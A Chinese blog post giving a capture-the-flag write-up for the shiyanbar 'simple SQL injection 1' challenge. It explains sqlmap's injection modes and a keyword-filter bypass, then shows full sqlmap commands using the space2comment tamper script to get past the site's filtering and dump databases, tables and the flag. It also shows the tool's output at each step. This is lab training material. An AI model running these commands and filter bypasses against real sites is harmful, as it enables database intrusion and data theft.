美文网首页
Sqlmap初学 实验吧 简单的SQL 一

Sqlmap初学 实验吧 简单的SQL 一

作者: 沙雕带你蒿羊毛 | 来源:发表于2017-11-03 13:12 被阅读0次

      在学习sql注入的过程中,一开始只想着怎么手工注入,却发现手工注入的道路,说麻烦不麻烦,但是说简单也很不简单,相比win的各种注入工具之下,我更倾向于使用神器——SQLMAP。

    当给sqlmap这么一个url的时候,它会:

    1、判断可注入的参数

    2、判断可以用那种SQL注入技术来注入

    3、识别出哪种数据库

    4、根据用户选择,读取哪些数据

    sqlmap支持五种不同的注入模式:

    1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

    3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

    4、联合查询注入,可以使用union的情况下的注入。

    5、堆查询注入,可以同时执行多条语句的执行时的注入。

    sqlmap支持的数据库有:

    MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB



    接下来,我以实验吧的三道题(win sqlmap)为例,简单的说一下使用SQLMAP的WriteUp

    前期准备: kali或者win   上的  SQLMAP   工欲善其事,必先利其器

    win上的SQLMAP安装过程网上都有,记得一点:下载python的版本是2.xx的,目前sqlmap还不支持3.xx。


    简单的sql注入 一

    先来一个最简单的查询

    sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --dbs

    不行,应该先手工一下,大致判断过滤规则,再出手

    输入 1 and or # -- union select from where

          ID: 1 or    where

          name: baloteli

    从id项看出有几个已经被过滤掉了,而且是直接把关键字给去掉,那么可以用类似ab(abc)c来绕过过滤,abc是要绕过的关键字,使用时不加括号,这里加括号只是为了区分.

    这里我们会用到tamper,是python写的,sqlmap一般自带,主要的作用是绕过WAF

    空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等

    既然过滤了空格 ,那么我们用sqlmap的tamper脚本里的

    脚本名:space2comment.py

    作用:Replaces space character (‘ ‘) with comments ‘/**/’12345

    Example:* Input: SELECT id FROM users* 

    Output: SELECT//id//FROM/**/usersTested

    against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0

    输入

    sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --tamper space2comment --dbs


    it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y


    for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 9

    (这里的最大线程为10 我输入为9)


    how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit] s


    GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y


    最终跑出

    available databases [3]:

    [*] information_schema

    [*] test

    [*] web1


    flag在web1中,我们继续


    sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --tamper space2comment -D web1 --table


    跑啊跑

    Database: web1

    [1 table]

    +------+

    | flag |

    +------+


    跑啊跑

    sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --tamper space2comment -D web1 -T flag --columns

    Database: web1

    Table: flag

    [3 columns]

    +---------+-------------+

    | Column  | Type        |

    +---------+-------------+

    | alertid | numeric    |

    | flag    | non-numeric |

    | id      | numeric    |

    +---------+-------------+


    next


    sqlmap.py -u http://ctf5.shiyanbar.com/423/web/?id=1 --tamper space2comment -D web1 -T flag -C flag --dump


    Database: web1

    Table: flag

    [1 entry]

    +----------------------------+

    | flag                      |

    +----------------------------+

    | flag{Y0u_@r3_5O_dAmn_90Od} |

    +----------------------------+


    ok了 flag得出了

    注意

    在跑的时候会有提示:[CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)

    这种情况下

    1.电脑网络通不通。

    2.目标网站是否能访问。

    3.试试其他网站可不可以。

    如果以上都没问题,就是被waf限制了

    继续等着跑完啊

    相关文章

      网友评论

          本文标题:Sqlmap初学 实验吧 简单的SQL 一

          本文链接:https://www.haomeiwen.com/subject/sbxtmxtx.html